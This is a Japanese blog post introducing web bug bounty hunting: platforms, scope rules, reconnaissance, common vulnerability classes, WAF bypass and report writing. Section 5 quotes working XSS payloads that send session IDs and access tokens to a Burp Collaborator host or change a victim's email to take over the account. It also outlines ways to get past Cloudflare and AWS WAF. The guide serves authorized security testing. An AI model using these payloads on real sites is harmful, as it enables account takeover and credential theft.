blog of morioka12

morioka12のブログ (Security Blog)

バグバウンティ入門(始め方)

BugBounty Web Security

1. 始めに

こんにちは、morioka12 です。

本稿では、バグバウンティの入門として、主に Web アプリケーションを対象にした脆弱性の発見・報告・報酬金の取得について紹介します。


免責事項

本稿の内容は、セキュリティに関する知見を広く共有する目的で執筆されており、悪用行為を推奨するものではありません。


想定読者

  • セキュリティ初学者・学生
    • 特に Web Security の学習をしている方
  • バグバウンティに興味がある方
  • リアルワールドで脆弱性を発見したい方
  • 脆弱性を報告して報酬金を取得したい方


筆者のバックグラウンド

簡単な筆者のバックグラウンドは以下になります。

  • Web Security や Cloud Security などのセキュリティ分野について学習している学生 (24年新卒)
  • OSS の脆弱性を報告して CVE ID を10件以上取得
  • 海外のバグバウンティプラットフォームで危険度の高い Critical な脆弱性の報告・認定実績が複数あり


Start Bug Bounty

参考までに、僕がバグバウンティに取り組み始めた頃の取り組みは、以下のような感じでした。

時系列 (クリックで表示)

  • バグバウンティに取り組み始める以前
    • Web アプリケーションの開発をしたり、 Web Security の学習をしたり、 CTF の Web 問を解いたり、公開されてる脆弱性の報告書を読んだり、既知の脆弱性を検証したりなどしていた
  • 2020年3月からバグバウンティで脆弱性を探す取り組みを始めた
  • 2020年3月3日に初の脆弱性報告で初の認定(Accepted)を得た (報酬金なし)
  • 2020年3月4~22日の期間に8件ほど脆弱性報告したが全て重複な報告(Duplicate)だった
  • 2020年3月23日に初の報酬金(€ 250)を獲得した
  • 2020年3月24日~4月半ばの期間に6件ほど脆弱性報告して、3件の認定・3件の重複だった
    • 2020年4月に今の学校に入学 (1年生)
  • 2020年4月半ばに Intigriti のランキングで Top 100 内に入った (Highest: 83位)


Bug Bounty JP Podcast

僕の身近でバグバウンティやっている人と一緒に雑談する「Bug Bounty JP Podcast」というポッドキャストを始めました。

scgajge12.hatenablog.com


2. バグバウンティとは

バグバウンティ(Bug Bounty: 脆弱性報奨金制度)とは、企業が許可した自社のソフトウェアやアプリケーションにある脆弱性を発見・報告することで、報告者に報奨金が支払われる制度のことです。

バグバウンティは、バグバウンティプラットフォームを通して実施したり、自社で脆弱性の受付・トリアージなどを行って実施していたりします。

日本国内では、IssueHunt というバグバウンティプラットフォームがあったり、 サイボウズ・Sky・NTT Com (社内) などが自社で実施していたり、スリーシェイクが Securify Bugty というバグバウンティ運用代行サービスを提供していたりします。

また、Google・Amazon・Meta・Apple・Microsoft などの有名企業もバグバウンティを実施しています。


バグバウンティプラットフォーム

有名なバグバウンティプラットフォームは、主に以下のようなものがあります。

  • HackerOne: 最も盛んでプログラム数が多いプラットフォーム
  • Bugcrowd: HackerOne の次にプログラム数が多いプラットフォーム
  • Intigriti: ヨーロッパで最も盛んなプラットフォーム
  • YesWeHack: Intigriti の次にヨーロッパで盛んなプラットフォーム
  • Synack: バグハンターになるための試験がある完全非公開なプラットフォーム

バグバウンティプラットフォームは他にもいくつもあり、以下の GitHub リポジトリに一覧化してまとまっています。

github.com

個人的には、日本人なら HackerOne や Bugcrowd などでバグバウンティに取り組むことをお勧めします。理由としては、以下のような点があります。

  • プログラムの対象が英語表記のものが多いから
    • Intigriti や YesWeHack は英語以外の言語(フランス語やドイツ語など)の対象が多く、EU の規約がアプリケーションの仕様に含まれているプログラムもあり、対象の仕様の把握が少し厄介だったりするため
  • HackerOne や Bugcrowd の方が日本企業のプログラムや身近で見たことのある企業も多く含まれているから


僕の場合は、元々バグバウンティを始める前に知り合ったバグハンターがヨーロッパの方で、その方が Intigriti や YesWeHack で取り組んでいたため、同じように僕もそっちで取り組み始めたという経緯がありました。


Synack

Synack の Synack Red Team (SRT)は、試験等に合格して Synack Red Team Member になった人のみがプログラムに参加できる完全非公開なプラットフォームです。

HackerOne や Bugcrowd などはアカウントを登録すれば、誰でもパブリックなプログラムに参加できますが、Synack は一定の能力を持ったバグハンターのみを採用して信頼できる関係の上でプライベートなプログラムに割り振られます。

また、脆弱性を調査する際は、プラットフォームの規約で専用の VPN を使用する必要があったり、規定のきめ細かい報告書を作成する必要があるなどの手間がありますが、競争率の低い状態で脆弱性を探すことができます。

審査プロセス (クリックで表示)

Synack Red Team Member になるには、以下のフローにそれぞれ合格する必要があります。

  1. 書類審査 (Resume review)
    • 英語の履歴書等を応募フォームから提出 (18歳以上が条件)
  2. 技術試験 (Technical assessment)
    • 3つの分野(Web, Host, Mobile)のどれかの問題を全て正解する必要あり
  3. ビデオ面接 (Behavioral interview)
    • 英語によるビデオ面接をする
  4. 身元調査 (Background and ID verification)
    • 身元を証明する書類を提出してバックグラウンドを調査される
  5. オンボーディング (On-boarding and training)
    • プラットフォームのチュートリアルを行い、簡単なマニュアルのテストを受ける
  6. 合格 (join Synack Red Team Member)
    • 技術試験で全完した分野のプログラムの招待がされてバグバウンティに取り組める

詳細はあまり明かせませんが、Google 翻訳等の利用は可能です。(英語のスピーキングはもちろん自分の口で話す必要があります)


僕は、今年の2023年1月に試験に合格して Synack Red Team Member になることができました。 (全フローは約2ヶ月ほどかかりました)

以前(2021年頃)は、Synack Japan から日本人のバグハンターを積極採用していた時期もありました。

x.com

Synack Red Team Member の応募は、以下から行うことができます。

boards.greenhouse.io

Web3

また、最近は Web3 をメインとしたバグバウンティプラットフォームも活発になっている印象です。


Program Type

バグバウンティのプログラム(BBP: Bug Bounty Program)は、主に2つのタイプがあります。

  • Public Programs
    • パブリックに公開されていて誰でも取り組むことが可能なプログラム
  • Private Programs
    • 非公開として一部の招待されたバグハンターのみ取り組むことが可能なプログラム

Private Programs の方は限られたバグハンターのみが取り組むことができるため、Public Programs より多少の競争率が低い状態で脆弱性を調査することができます。

docs.hackerone.com


Private Programs

HackerOne の場合

HackerOne で Private Programs の招待を受け取るには、以下の点を高めることで貰いやすくなります。

docs.hackerone.com

また、HackerOne はバグハントの学習教材として用意している Hacker101 の問題を一定解くことで、Private Programs の招待を受け取ることができます。

www.hackerone.com

Bugcrowd の場合

Bugcrowd で Private Programs の招待を受け取るには、以下のブログにもあるように、アクティブに脆弱性を探して報告することだそうです。

stay active on the platform by hunting, making submissions, and getting paid.

www.bugcrowd.com

Intigriti の場合

Intigriti で Private Programs の招待を受け取るには、以下の要素で判断されます。

  • 活発に脆弱性報告を行なっているか
  • 提出した報告書が高い品質を維持しているか
  • リーダーボード(ランキング)で高い評価を維持しているか
  • アカウントが ID 認証済みであるか

kb.intigriti.com

また、Intigriti が定期的に開催している Intigriti Challenges の問題に回答することで、Private Programs の招待を受け取れる可能性があります。

blog.intigriti.com


VDP (Vulnerability Disclosure Program)

バグバウンティプラットフォームには、BBP (Bug Bounty Program) 以外にも「VDP (Vulnerability Disclosure Program) 」というプログラムの形態があります。

VDP は、主に「脆弱性報告窓口」として設けられているだけで、脆弱性を報告しても基本的に報酬金は対象外となっています。

そのため、BBP より VDP の方が競争率が低い傾向があります。

詳しくは、以下をご覧ください。

www.hackerone.com

www.bugcrowd.com


Asset Type

プログラムの対象のタイプは、主に以下のようなものがあります。

  • Domain (Web アプリケーション)
  • Mobile (Android, iOS)
  • IP Address (Host)
  • Source Code (OSS)

以下は、HackerOne の Asset type の一覧です。

本ブログでは、主に Domain (Web アプリケーション)を対象として紹介します。


3. プログラムの選び方

まず、バグバウンティの取り組み始めたての方は、基本的に Private Programs の招待がないため、Public Programs の中から調査する対象のプログラムを選びます。

始めたての方は、主に以下の要素を持つプログラムから調査する対象を選ぶことをお勧めします。

  • 調査対象が多いプログラムを選ぶ
  • Domain のサブドメインの範囲(Scope)が広い対象を選ぶ
  • 報酬金の対象外となっている対象を選ぶ
  • (利用したことのあるサービスを選ぶ)

これらの理由としては、以下のようになります。

  • 調査対象が多かったり、Domain のサブドメインの範囲が「*」などの広い Scope の場合は、まだあまり調査されてないエンドポイントがあったりするから
  • 「報酬金の対象外」となっている対象は、「報酬金の対象」になっている対象よりバグハンターの脆弱性を調査する競争率が低い傾向があるから
  • 利用したことのあるサービスを対象にすると、一から Web アプリケーションの仕様を把握する労力を省くことができるから

ある程度の脆弱性を報告してバグバウンティに慣れてきたら、以下のようにしていくと良いと思います。

  • 報酬金の対象や報酬金額が高いプログラムを選ぶ
  • 有名なサービスや企業のプログラムを選ぶ
  • 招待された Private Programs のプログラムから選ぶ

また、バグバウンティは基本的に脆弱性の「第一報告者」のみ脆弱性認定(Accepted)や報酬金の取得ができる仕組みとなっています。

言ってしまえば「早い者勝ち」となるため、バグバウンティプラットフォームに新規プログラムが入ったら、そのプログラムに早い段階で着手するというのも一つの手になります。

ちなみに、バグバウンティプラットフォームのプログラムの更新を Webhook で通知してくれる OSS があったり、一覧で随時表示してくれるサイトもあったりするため、こういうものも活用すると観測しやすいと思います。

github.com

bbradar.io


Scope

Domain (Web アプリケーション)の場合は、主に以下にような形で対象の Scope を定義しています。

  • example.com
    • example.com の全てのサブディレクトリのエンドポイントが対象となる
      • 例: https://example.com/signup
  • *.example.com
    • example.com から始まる全てのサブドメインの全てのサブディレクトリのエンドポイントが対象となる
      • 例: https://www2.example.com/signup
  • example.com/api/*
    • example.com のサブディレクトリが /api/ から始まるエンドポイントが対象となる
      • 例: https://example.com/api/login

これらのように定義された Domain の Scope は、脆弱性を探して良いという許可の元で調査することができます。

また、Scope 外のエンドポイントに対しての脆弱性調査(攻撃的なペイロードを投げるなど)は、規約に反するため行ってはいけません。法律に違反する可能性もあります。


OoS (Out of Scope)

Scope の定義の他に「 OoS (Out of scope: 範囲外)」という定義もあります。

例えば、以下のような OoS が記載されてたりします。

  • 〇〇のエンドポイントを対象の範囲外とします
  • 〇〇のエンドポイントにある XSS の報告を一時的に報告対象の範囲外とします
  • 〇〇のドメインでアカウントの作成を禁じます
  • 〇〇のドメインで問い合わせフォームの送信を禁じます
  • 〇〇の脆弱性を範囲外とします (具体的な脅威が示せない Self XSS など)

これらのような OoS に定義された規約は、Scope の定義よりも優先されて必ず守る必要があります。OoS に当てはまる脆弱性の報告は受け付けられません。

そのため、Scope や OoS などの規約は必ず一読して守るようにしましょう。


4. 脆弱性の探し方 (初期調査編)

次に、選んだプログラムの対象から脆弱性があるかを調査します。

バグバウンティにおける Web アプリケーションの調査は、基本的に「ブラックボックスな状態(ソースコードが見れない)」で Burp Suite などのローカルプロキシツールを用いてリクエスト・レスポンスから脆弱性がないかを判断して検証します。

初期調査では、主に以下のような点から見てみると良いと思います。

  • Scope 内のサブドメインを列挙する
  • Google Dorks などを活用して怪しい URL (エンドポイント)を探す
  • Wappalyzer などを活用して、使われている技術を確認する
  • JavaScript ファイルを静的解析して、API やエンドポイントを列挙したり、シークレットな情報(API Key など)を収集する


Subdomain

サブドメインが Scope 内の場合は、主に以下のようなツールを用いて列挙します。

サブドメインを列挙する方法は数多く存在するため、いくつか試してみて自分にあった列挙方法を見つけると良いと思います。

github.com

また、列挙したサブドメインは、以下のようにチェックしてみると良いと思います。

  • サブドメインが紐づいたサーバーが動いている場合
    • 動いている Web アプリケーションや API のエンドポイントを確認する
  • サブドメインが紐づいたサーバーが動いていない場合
    • dig コマンドなどを用いて DNS の状態をチェックして「Subdomain Takeover (サブドメインの乗っ取り)」が可能か確認する


Google Dorks

Google Dorks (Google Hacking)とは、Google 検索のオプションである高度な検索演算子を使用して、特定の条件で情報を効率よく取得する手法です。

バグハントの際によく使われる検索クエリのオプションは、主に以下のように使用します。

site:

  • 指定したドメインの検索結果のみを返す
    • 例: site:example.com, site:*.example.com

inurl:

  • URL に指定した値(パス名やパラメーター名など)を含む URL の検索結果のみを返す
    • 例: inurl:/swagger, inurl:id=

intext:

  • 指定した文字列を含む検索結果のみを返す
    • 例: intext:address, intext:email

ext:

  • 指定した特定のファイルを含む URL の検索結果のみを返す
    • 例: ext:log, ext:txt

具体的な活用方法としては、特定の脆弱性に焦点を当てて Google Dorks で気になる URL を列挙したりします。例えば、以下のように検索して情報を得ます。

Open Redirect (CWE-601)の場合 (クリックで表示)

特定のドメインで Open Redirect が発生しそうなパラメーター名を指定して、その URL の検索結果のみを返したい場合は、以下のように検索します。

site:"example[.]com" inurl:url | inurl:redirect | inurl:returnto | inurl:return | inurl:target | inurl:site | inurl:view | inurl:path

Information Disclosure (CWE-200)の場合 (クリックで表示)

特定のドメインで特定の拡張子のファイルを列挙して、機微な情報を含むファイルの URL の検索結果のみを返したい場合は、以下のように検索します。

site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess

気になるパラメーター名やファイル名、パス名などは、以下のようにまとまったものを参考にすると良いと思います。慣れてくれば自分のオリジナルのパターンを用意するとさらに良いと思います。

github.com

github.com

ちなみに、Google Dorks を活用するバグハンターの手助けとして、「Bug Bounty Helper」や「pentest-tools の Google Hacking」というオンラインツールがあり、指定したドメインで検索条件をクリックすると、その条件で勝手に検索演算子付きで Google 検索してくれます。

dorks.faisalahmed.me

pentest-tools.com

また、Exploit DB から Google Hacking Database というデータベースもあり、検索方法の参考になるかと思います。

www.exploit-db.com


Wayback Machine

Wayback Machine とは、インターネットアーカイブ (Internet Archive) が保存している Web サイトを閲覧できるサービスのことで、過去の Web ページやエンドポイントを見ることができます。

バグハントにおいては、waybackurls などを活用して、インターネットアーカイブから対象のドメインのエンドポイントをパラメーター付きで列挙したりします。

これにより、特定のドメインで気になるエンドポイントを簡単に列挙することが可能です。

また、もしかしたら列挙したエンドポイントのパラメーターに、有効期限が切れてないセッションやトークン、機微な情報が含まれている場合もあります。


Wappalyzer

Wappalyzer とは、Web アプリケーションに使われている技術を取得することができるツールです。

Wappalyzer を利用することで、以下のような情報やバージョンを検知できたもののみ特定することができます。

  • プログラミング言語
  • Web サーバー
  • リバースプロキシ
  • データベース
  • JavaScript ライブラリ
  • PaaS (Platform as a Service)
  • CDN (Contents Delivery Network)
  • CMS (Contents Management System)

これらの情報は、バージョン情報から潜在的な脆弱性を探したり、サーバーやクラウドの設定不備などを探すなどで役に立つ場合があります。

Wappalyzer を使う場合は、ブラウザの拡張機能として入れることで簡単に確認することができます。

Chrome の場合

chrome.google.com

Firefox の場合

addons.mozilla.org

また、他にも脆弱性の調査に役立ちそうなブラウザの拡張機能があったりするため、好みの拡張機能を入れて楽に情報収集すると良いと思います。


JS Analyze

バグハントにおいて、JavaScript ファイルを静的解析して、以下のような点を確認したりします。

  • エンドポイント(ディレクトリパス)の列挙
  • ハードコーディングされた API Key やクレデンシャルの列挙
  • JavaScript のコードやライブラリ・モジュールにある潜在的な脆弱性を特定する

JavaScript の静的解析には、主に以下のようなツールを用いたり、手動(Grep)で確認したりします。

また、Burp Suite の Professional を利用している場合は、以下の Extension を利用することが可能です。

さらに、Burp Suite の Target タブにある Site map から特定のドメインを指定して、Engagement tools にある Find scripts を利用することで、そのドメインにある全ての JavaScript のファイルをダウンロード(Export)することも可能です。

portswigger.net

JavaScript のファイルをローカル環境にダウンロードできれば、ESLint などの SAST (Static Application Security Testing)のツールを利用して静的解析を行うことも可能になります。

もし API Key やクレデンシャルを列挙できた場合は、以下の GitHub リポジトリや各公式ドキュメントを参考にして、有効なものがどうかを判断すると良いと思います。

github.com

[Blog] JavaScript の静的解析と動的解析まとめ

JavaScript に関する静的解析と動的解析については、別途まとめたブログがあるため、こちらをご覧ください。

scgajge12.hatenablog.com


ちなみに、実際のサブドメインの列挙や waybackurls などの CLI ツールを使用する際は、他のツールとチェーンして良い感じに効率よく結果を整形したりします。


5. 脆弱性の探し方 (アプローチ編)

次はメインとなる脆弱性調査で、Web アプリケーションの仕様を把握して、怪しい機能やエンドポイント、初期調査で取得した情報を元に脆弱性がないかを動的解析で確認します。

ここでは各脆弱性に着目した探し方までは紹介しませんが、例えば以下のような観点を確認したりすると良いと思います。

  • ログイン機能やパスワードリセット機能で認証の不備がないか
  • 機微な情報を扱うエンドポイントや API で認可の不備がないか
  • 検索機能や外部から文字列の埋め込み可能なエンドポイントでインジェクショ系の脆弱性がないか
  • メールアドレスの更新やパスワードの更新などの重要な変更機能で CSRF が可能か
  • ファイルアップロードやダウンロードの機能などのファイルを扱うエンドポイントで Path Traversal などの脆弱性がないか
  • URL やディレクトリパスを扱っているエンドポイントで Open Redirect や SSRF などの脆弱性がないか
  • PDF 生成などの特有の機能を持つエンドポイントでインジェクショ系や SSRF などの脆弱性がないか
  • セッションやキャッシュの制御で何か不備がないか
  • Web アプリケーションの仕様からビジネス的なロジックの不備がないか

バグハンターによっても好みの脆弱性が異なるため、自分が得意とする脆弱性や検証を試してみたい脆弱性に集中して、調査するのも良いと思います。


Bug Bounty Point

個人的にバグバウンティにおいて重要な点は、主に以下のようなことが大切だと思います。

  • 他のバグハンターとは異なるアプローチや思想で脆弱性を調査する
  • 脆弱性がありそうな箇所を根気よく探し続ける (検証し続ける)
  • 脆弱性に対する好奇心や探究心を持って調査する
  • 常に最新の情報や Tips (ヒント)を得る

基本的に、他のバグハンター達が同じ Web アプリケーションを対象に脆弱性を調査している(調査済みの)ものがほとんどです。

そのため、誰よりも早く脆弱性を見つけられるかは多少の運要素にも左右されますが、バグバウンティではバグハンターの「脆弱性を発見する能力」が試される機会かと思います。(実力試しが可能)

また、基本的には Web アプリケーションをブラックボックスな状態で脆弱性の調査するため、バックエンドでどのような実装をしているかなどのイメージをして、推測立てて検証することも大切です。

これらの能力は、脆弱性診断などのセキュリティ業務にも大いに活かされると思います。


Top 10 Vulnerabilities

バグバウンティにおいて、最も報告されている脆弱性のランキング(Top 10)は、以下のようになります。

HackerOne の場合 (クリックで表示)

  1. XSS (Cross-Site Scripting): CWE-79
  2. Improper Access Control: CWE-284
  3. Information Disclosure: CWE-200
  4. SSRF (Server-Side Request Forgery): CWE-918
  5. IDOR (Insecure Direct Object Reference): CWE-639
  6. Privilege Escalation: CWE-269
  7. SQL Injection: CWE-89
  8. Improper Authentication: CWE-287
  9. Code Injection: CWE-94
  10. CSRF (Cross-Site Request Forgery): CWE-352

www.hackerone.com

Bugcrowd の場合 (クリックで表示)

  1. Sensitive data exposure: CWE-200
  2. XSS (Cross-Site Scripting): CWE-79
  3. Subdomain Takeover: CWE-16
  4. Broken Access Control (including IDOR): CWE-284, CWE-639
  5. Privilege Escalation: CWE-269
  6. Sensitive Information Passed to HTTP by Default: CWE-200
  7. Authentication Bypass: CWE-287
  8. CSRF (Cross-Site Request Forgery): CWE-352
  9. Open Redirect: CWE-601
  10. Remote Code Execution: CWE-94

www.bugcrowd.com

また、OWASP Top 10 (2021年版)は以下のようになっています。

OWASP Top 10 (クリックで表示)

  1. アクセス制御の不備
  2. 暗号化の失敗
  3. インジェクション
  4. 安全が確認されない不安な設計
  5. セキュリティの設定ミス
  6. 脆弱で古くなったコンポーネント
  7. 識別と認証の失敗
  8. ソフトウェアとデータの整合性の不具合
  9. セキュリティログとモニタリングの失敗
  10. SSRF (Server-Side Request Forgery)

owasp.org

これらのランキングより、まず始めは以下のような脆弱性に注目して調査すると見つけやすいと思います。

  • A01: アクセス制御の不備
    • Improper Access Control
    • IDOR (Insecure Direct Object Reference)
    • CSRF (Cross-Site Request Forgery)
  • A03: インジェクション
    • XSS (Cross-Site Scripting)
    • Open Redirect
  • A05: セキュリティの設定ミス
    • Information Disclosure
  • A10: SSRF (Server-Side Request Forgery)


また、PortSwigger が毎年 Web における最も革新的なハッキング技術をランキング Top 10にして公開しています。(初学者には少し難しいかもしれませんが、一応紹介します。)

portswigger.net

各業界における脆弱性ラインキング

ちなみに、以下の業界ごとによく報告されている脆弱性は、以下のブログで紹介しています。

  • 政府 (Government)
  • 金融 (Financial Services)
  • 自動車 (Automotive)
  • コンピューターソフトウェア (Computer Software)
  • 暗号&ブロックチェーン (Crypto and Blockchain)
  • インターネット&オンラインサービス (Internet and Online Services)
  • 小売と電子商取引 (Retail and Ecommerce)
  • 通信 (Telecoms)

https://scgajge12.hatenablog.com/entry/bug_bounty_hunter_report#%E8%84%86%E5%BC%B1%E6%80%A7


WAF Bypass

バグバウンティの対象となっている Web アプリケーションは、既にサービス展開されている Web アプリケーションがほとんどのため、WAF (Web Application Firewall) が導入されている対象が多々あります。

そのため、もし XSS や SQL Injection などの脆弱性が挙動からありそうで、そのペイロードが WAF によってブロックされる場合は、WAF Bypass を試みる必要があります。

ちなみに、僕も過去に報告した脆弱性で WAF Bypass による XSS を複数件報告しました。

もし、脆弱性の調査中にブロック(403 ページ)された場合は、まず何の WAF が動作しているのかをレスポンスのヘッダーや 403 ページの画面から推測します。

動作している WAF の特定ができたら、次にその WAF のブロックを回避できそうなペイロードを探したり、色々と手動で試行錯誤してレスポンスの挙動から可能な形態を推測していきます。

X (Twitter) などで「waf bypass xss」などと検索すると、色々と WAF Bypass できたペイロードが流れてたりします。検索結果は、以下の GitHub リポジトリにまとまってたりします。 (これらのペイロードは質が良いもの悪いものがあります)

github.com

また、ペイロード自体を工夫する方法以外にも WAF Bypass ができる場合があります。例として以下のようなものがあります。

Cloudflare の場合 (クリックで表示)

Cloudflare の WAF の場合は、Cloudflare の裏で動いている Web アプリケーションの Origin IP を特定して、直接 Origin IP に XSS のペイロードを送るようにすることで、検査を回避できる可能性があります。

Origin IP を特定する方法は、以下のようなサービスを活用して Origin と思われる IP アドレスを確認できます。

詳しくは、以下をご覧ください。

0xbartita.medium.com

AWS WAF の場合 (クリックで表示)

AWS WAF (Classic)の場合は、受け付けるリクエストボディのサイズ制約の条件により「最初の 8192 バイト (8 KB) のみ」を検査します。

そのため、AWS WAF を通して XSS のペイロードを投げたい場合は、適当な文字列で 8 KB を指定してその後ろに XSS のペイロードを付与することで、8 KB 以上にあたる部分の文字列を AWS WAF の検査から回避して、Web アプリケーションに送れる可能性があります。

ちなみに、AWS WAF のコアルールセット(CRS)マネージドルールグループに「SizeRestrictions_BODY」という 8 KBを超えるリクエストボディをブロックするルールがあるため、これを適応することで回避をブロックできる可能性があります。

詳しくは、以下をご覧ください。

kloudle.com


これらのように、 WAF Bypass の方法はいくつものアプローチがあり、もし Web アプリケーション上に脆弱性がありそうで WAF が導入されてる場合は、ぜひ WAF Bypass にチャレンジしてみると面白いと思います。

参考までに、WAF のテストに関する情報が軽くまとまってる GitHub リポジトリを貼っておきます。

github.com


Chain・Escalation

XSS などの脆弱性を発見した場合は、すぐにそのまま報告するのではなく、その脆弱性の危険度を上げて脅威(Impact)を高めて示せるかを確認するととても良いと思います。

バグバウンティには、脆弱性の危険度を示す「Severity (重大度)」の評価があり、それに応じて報酬金やランキングポイントが付与されます。脆弱性をチェーンしたり、エスカレーションしたりすることで、脆弱性の脅威を具体的に上げて、Severity を上げられる可能性があります。

もし Reflected XSS を発見した場合は、ただ alert() を実行して「XSS できた！」で報告するのではなく、例えば以下のような点を確認して脆弱性の脅威を上げることができるかを確認すると良いと思います。

  • 他のエンドポイントのレスポンスボディに Session ID や Access Token 、ユーザー情報などが含まれている場合は、XSS の任意の JavaScript 実行で自身のサーバーに情報を送れないか
  • Cookie の中にある Session ID や Access Token 、ユーザー情報などを JavaScript によって取得できる状態の場合は、XSS の任意の JavaScript 実行で自身のサーバーに情報を送れないか
  • JavaScript の実行でパスワードの変更やメールアドレスの変更などの重要なリクエストを実行できる場合は、XSS の任意の JavaScript 実行で任意の内容に書き換えられないか

通常の Reflected XSS は、基本的に「Severity: Medium」ですが、これらのように具体的な機微な情報を自身のサーバーに送れた場合は「Severity: High」、もしくは最終的に Account Takeover (ATO, アカウントの乗っ取り)まで行えた場合は「Severity: Critical」などに認定される可能性があります。

ここでは、いくつか実際にあった脆弱性(XSS)の報告事例を紹介します。

XSS to Account Takeover (Response Body)

他のエンドポイントから Session ID の取得による XSS to Account Takeover (クリックで表示)

もし、Web アプリケーションに Reflected XSS があり、他のエンドポイントから有効な Session ID を取得できる場合は、XSS でそのエンドポイントから他のユーザーの Session ID を取得することで Account Takeover に繋げられる可能性があります。

具体的には、XSS のペイロードの中身を以下のような要素にします。

  • fetch() などを用いて特定のエンドポイントを実行してレスポンスボディを取得する
    • レスポンスボディには有効な Session ID が含まれている
  • 取得したレスポンスボディの中身を自身のサーバー(Burp Collaborator など)に送信する

最終的な XSS の Payload

;fetch('https://www.redacted.com/api/uis/accounts/current/sso').then(a=> a.text()).then(a=> fetch('https://random.burpcollaborator.net?x='+a))//

最終的に XSS のペイロードを含む URL にアクセスした他のユーザーの Session ID を取得して、自身の Session ID に上書きすることでセッションを乗っ取ることができ、そこから他のユーザーのメールアドレスを任意のメールアドレスに変更することで、パスワードリセットにより Account Takeover まで行うことが可能です。

詳しくは、以下をご覧ください。

infosecwriteups.com

XSS to Account Takeover (Local Storage)

Local Storage から Access Token の取得による XSS to Account Takeover (クリックで表示)

もし、Web アプリケーションに Stored XSS があり、Local Storage に有効な Access Token が含まれている場合は、XSS で他のユーザーの Local Storage から Access Token を取得することで Account Takeover に繋げられる可能性があります。

具体的には、XSS のペイロードの中身を以下のような要素にします。

  • getItem() を用いて Local Storage から特定の Key を取得する
    • Local Storage の特定の Key に有効な Access Token が含まれている
  • 取得した Key の中身を自身のサーバー(Burp Collaborator など)に送信する

最終的な XSS の Payload

<img src="xxx" onerror="token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url='https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/'+token,fetch(url);s1600">

最終的に XSS を埋め込んだ Web ページにアクセスした他のユーザーの Access Token を取得することができ、そこから他のユーザー情報を書き換えることで Account Takeover まで行うことが可能です。

詳しくは、以下をご覧ください。

infosecwriteups.com

Open Redirect with XSS to Account Takeover (Change Email Address)

JavaScript 実行でメールアドレスを変更させることによる XSS to Account Takeover (クリックで表示)

もし、Web アプリケーションに Opne Redirect があり、javascript スキームによる XSS が可能な場合は、XSS による任意の JavaScript 実行で他のユーザーのメールアドレスを任意のものに変更するリクエストを実行させることで、Account Takeover に繋げられる可能性があります。

具体的には、XSS のペイロードの中身を以下のように用意します。

  1. 「メールアドレスの変更」のリクエストの実行を JavaScript のコードを用意する
    • CSRF Token を Cookie から取得する
    • メールアドレスを任意のものにする
  2. javascript スキームの XSS のペイロードに用意したコードを含める

最終的な XSS の Payload

javascript:var http=new XMLHttpRequest(); http.open('POST','https://ownsubdomain.target.com/api/3/settings/account', true);var csrf= document.cookie.split('; ').find(row =%3e row.startsWith('XSRF-TOKEN')).split('=')[1];http.setRequestHeader('X-Xsrf-Token',csrf);http.withCredentials=true;http.setRequestHeader('Content-type','application/x-www-form-urlencoded');http.send('firstName=Hacked%26lastName=byHacker%26loginEmail=attacker@mail.com&phoneNumber=%26notificationEmail=attacker@mail.com%26signature=%26timezone=Asia/Jakarta%26language=english');alert('email changed');

最終的に XSS のペイロードを含む URL にアクセスした他のユーザーのメールアドレスを任意のものに変更することができ、変更したメールアドレスでパスワードリセットにより Account Takeover まで行うことが可能です。

詳しくは、以下をご覧ください。

rdnzx.medium.com


これらのように、発見した脆弱性が実際の攻撃者を想定して、どうやって悪用できるかまで考えることで、最終的に行えた脅威を報告に加えて重大度(Severity)を上げることができます。

また、Self XSS が OoS に記載されていて実際に Self XSS があった場合は、 例えば Self XSS と CSRF を組み合わせた Stored XSS まで可能なら Stored XSS として報告することができる可能性があります。

その結果、脆弱性の脅威(Impact)の向上や報酬金額を上げることに繋げることができます。


[Blog] XSS の具体的な脅威の事例まとめ

XSS に関して、事例をもとにエスカレーションさせる事例を以下でまとめたため、よければこちらもご覧ください。

scgajge12.hatenablog.com


6. 脆弱性の報告・認定

バグバウンティのプログラムの対象で脆弱性を発見した場合は、主に以下のような点を「報告書(Report)」に記載します。

  • 指摘事項のタイトル
    • 脆弱性名を含む現象のタイトル
  • 対象 (Scope)
    • Scope 内のドメイン
  • 脆弱性のタイプ (Weakness)
    • CWE (Common Weakness Enumeration)
  • 脆弱性の重大度 (Severity)
    • CVSS (Common Vulnerability Scoring System)
  • 脆弱性の説明
    • 概要
    • 検証・再現方法 (PoC, Proof of Concept)
      • 再現動画
  • 脆弱性の脅威 (Impact)
  • 脆弱性の修正案
  • 脆弱性の参考文献

報告書のフォーマットとしては、例として以下のようなイメージです。(Markdown)

# Report Title
- Scope
- Weakness
- Severity

## Description

### Steps To Reproduce

### PoC

## Impact

## Amendment

## References

バグバウンティの報告書は、HackerOne の Hacktivity で公開されているため、実物を参考にすると良いと思います。(報告書は質が良いもの悪いものがあります)

hackerone.com

また、脆弱性の報告書や先方の企業とのやり取りは、基本的に英語です。英語にハードルがある方は、翻訳や PoC で意図が通じれば何とかなるため、そこまで気にする必要はないと思います。

ただし、バグバウンティプラットフォーム側からすると、報告書の正確性や質は評価(トリアージ)する上で重要視されるため、開発者目線でもわかりやすい用語や検証方法を書いたり、再現動画を添付するなどした方が良いと思います。

PoC に関しては、Python や JavaScript でコードを書いて、実行すれば脆弱性の再現が可能なようにして記載すると良いです。

報告書を書く上で大事な点は、提出した報告書は基本的にその対象の開発者が見て対応するため、開発者でも脆弱性を理解しやすいように心がけて書くことです。

ちなみに、バグバウンティプラットフォームは、よく報告書の「量(数)」より内容の「質」の方が大事と言われています。

バグバウンティにおいて「質の良いレポート」を作るのには、以下を参考にすると良いと思います。

docs.hackerone.com

docs.bugcrowd.com


Triage

提出した報告書は、バグバウンティプラットフォームのスタッフが、報告内容の確認・検証・評価を行います。

主に以下のような点を確認します。

  • 報告内容が有効なものか (脆弱性として認められるか)
    • 脆弱性として脅威(Impact)があるか
    • 検証方法によって脆弱性が再現されるか
    • 脆弱性が Scope 内で OoS に当てはまっていないか
    • 脆弱性の重大度(Severity)が正しいか
  • 重複した報告内容か
    • 既に報告されている脆弱性か

また、トリアージの結果は、以下のように判断されます。

  • Accepted: 脆弱性認定
  • Duplicate: 重複な脆弱性報告 (既に報告済みの脆弱性)
  • Informative: 有益な情報 (参考情報扱い)
  • Out of Scope​: 対象範囲外
